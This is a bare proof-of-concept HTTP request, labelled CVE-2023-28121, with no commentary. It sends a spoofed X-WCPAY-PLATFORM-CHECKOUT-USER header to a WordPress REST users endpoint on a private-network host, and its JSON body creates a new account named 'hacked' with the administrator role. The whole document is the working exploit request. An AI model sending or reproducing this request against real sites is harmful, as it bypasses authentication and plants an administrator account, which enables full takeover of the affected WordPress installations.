CVE-2023-28121

POST /wp-json/wp/v2/users HTTP/1.1
Host: 192.168.178.11
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: application/json
X-WCPAY-PLATFORM-CHECKOUT-USER: 1
Content-Length: 123

{
"username":"hacked",
"email":"mrtuxracer@hackerone.com",
"password":"SuperSecure1337",
"roles":["administrator"]
}